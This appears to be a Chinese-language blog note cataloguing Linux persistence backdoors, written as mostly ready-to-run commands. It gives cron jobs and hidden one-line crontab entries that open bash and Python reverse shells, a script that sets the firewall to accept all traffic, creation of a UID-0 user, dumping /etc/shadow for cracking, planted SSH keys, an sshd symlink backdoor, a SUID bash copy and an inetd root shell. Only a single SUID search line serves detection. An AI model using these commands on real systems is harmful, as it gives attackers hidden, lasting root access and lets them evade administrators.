测试环境
ubuntu16.04
反弹shell目标:127.0.0.1:233
cron定时反弹shell
修改crontab文件
创建文件 /etc/…
#!/bin/bash
if netstat -ano|grep -v grep | grep "127.0.0.1">/dev/null
then
echo "OK">/dev/null
else
/sbin/iptables --policy INPUT ACCEPT
/sbin/iptables --policy OUTPUT ACCEPT
bash -i >& /dev/tcp/127.0.0.1/233 0>&1
fi
增加权限
chmod +sx /etc/...
然后在/etc/crontab中添加定时任务
*/1 * * * * root /etc/...
最后重启一下 crond 的服务service cron reload
一句话Crontab后门
bash版本(crontab -l;printf "*/1 * * * * exec 9<> /dev/tcp/127.0.0.1/233;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for
whoami%100c\n")|crontab -
python版本(crontab -l;printf "*/5 * * * * /usr/bin/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",233));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);';\r\rno crontab for
whoami%100c\n")|crontab -
Linux/Unix 添加 UID 为 0 的用户
免交互设置密码
useradd seradd -u 0 -o -g root -G fdrag0n
echo "passwd" | passwd --stdin fdrag0n
因为linux可能有密码策略
所以推荐使用强密码替换passwd
爆破linux密码
取出/etc/shadow
hashcat爆破
ssh公钥免密
将客户端生成的ssh公钥写到所控服务器的~/.ssh/authorized_keys中,然后客户端利用私钥完成认证即可登录。
客户端:
$ ssh-keygen -t rsa
$ ls
id_rsa id_rsa.pub
把id_rsa.pub写入服务端的authorized_keys中,并修改好相应权限。
服务端:
$ chmod 600 ~/.ssh/authorized_keys
$ chmod 700 ~/.ssh
这种后门的特点是简单易用,但在实战中会被服务器的配置环境所限制,以及容易被发现(只要运维不傻)。
软连接后门
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=23333;
经典后门。直接对sshd建立软连接,之后用任意密码登录即可。
但这隐蔽性很弱,防护软件或者查看端口状态都可以找到。
重启会断开
SUID shell
在root账号下执行
cp /bin/bash /.fdrag0n
chmod 4755 /.fdrag0n
在普通用户下执行
/.fdrag0n -p
检查手段
find / -perm +4000 -ls
inetd后门
修改 /etc/inetd.conf 文件
原文件:
#chargen dgram udp wait root internal
#discard stream tcp nowait root internal
#discard dgram udp wait root internal
#daytime stream tcp nowait root internal
修改为:
#discard stream tcp nowait root internal
#discard dgram udp wait root internal
daytime stream tcp nowait root /bin/bash bash -i
然后重启inetd
ps -ef | grep inetdroot
kill -HUP xxx
然后nc连接即可
rootkit
openssh后门
参见https://fdrag0n.github.io/2018/05/15/SSH后门复现/
内核级rookit
暂未复现,复现后补上